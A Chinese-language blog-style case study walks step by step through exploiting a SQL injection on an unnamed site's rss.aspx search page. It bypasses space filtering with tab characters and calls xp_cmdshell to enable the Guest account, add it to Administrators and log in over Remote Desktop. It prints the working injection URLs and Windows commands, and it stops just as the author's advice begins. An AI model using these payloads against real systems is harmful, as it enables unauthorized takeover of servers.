SQL 注入漏洞危害巨大,但 SQL 注入也经常的被发现,少不小心过滤不完全就有可能让整个应用陷入困境。
无意间发现某站点存在 SQL 注入漏洞,于是利用这个漏洞提权并获取服务器控制权。这个案例很典型,像是教科书式的典型入侵步骤,下面就以这个案例展示从 SQL 注入到获取目标服务器控制权限的全过程。
访问某站点的搜索页面,发现输入单引号“'”就直接报错,这就说明这个页面存在 注入的可能。为了证实这点,首先闭合请求访问语句,然后对比返回结果的差异。
发现访问
http://foo/rss.aspx?keyword=lucky
以及
http://foo/rss.aspx?keyword=lucky'));--
都可以被执行,但是返回的结果不同。根据下面的错误信息,是注释掉了 ORDER BY 。
根据上面的情况,能非常肯定的断定这个脚本存在很严重的 SQL 注入漏洞。下一步,尝试构建插入 SQL 语句
http://foo/rss.aspx?keyword=lucky'));SELECT%20SERVERPROPERTY%20('edition');--
发现服务器的报错信息为 SQL 语句语法错误,SQL 构建不成功。几次尝试注入均不成功,于是休息下先把重点放到服务器本身
扫描目标主机开放的端口,发现目标主机的 3389 端口是开放的。用远程桌面访问这个端口,可以访问。万事俱备,看来思路还得回到如何利用这个 SQL 注入漏洞。
此时灵光一现,是不是服务器的脚本分割用户输入的空格(%20),然后组成 SQL 语句查询?那么将空格转换成 TAB(%09)试试看,重新发起请求
http://foo/rss.aspx?keyword=lucky'));SELECT%09SERVERPROPERTY%09('edition');--
并没有报错,说明判断是正确的。接下来的事情就好办了,调用 SQL 外部命令将 Guest 用户解禁并加入管理组。
解禁 Guest 用户
http://foo/rss.aspx?keyword=lucky'));exec%09Master..xp_CMDShell%09'
net%09user%09guest%09/active:yes';--
相当于服务器执行
net user guest /active:yes
再将 Guest 加入到管理员组
http://foo/rss.aspx?keyword=lucky'));exec%09Master.xp_CMDShell%09'
net%09localgroup%09administrators%09guest%09/add';--
相当于服务器执行
net localgroup administrators guest /add
上述请求顺利执行成功,然后打开目标主机的远程登录,输入用户名“guest”密码为空登录,结果顺利登录 (运气和相貌都很重要 :P)。
重新关上 Guest 帐户,并通知主机管理员,至此攻击结束。
正如上文所描述的,SQL 漏洞危害非常的巨大,但我相信国内很多中小站点还普遍存在着这样的漏洞。这里有些个人的不完全建议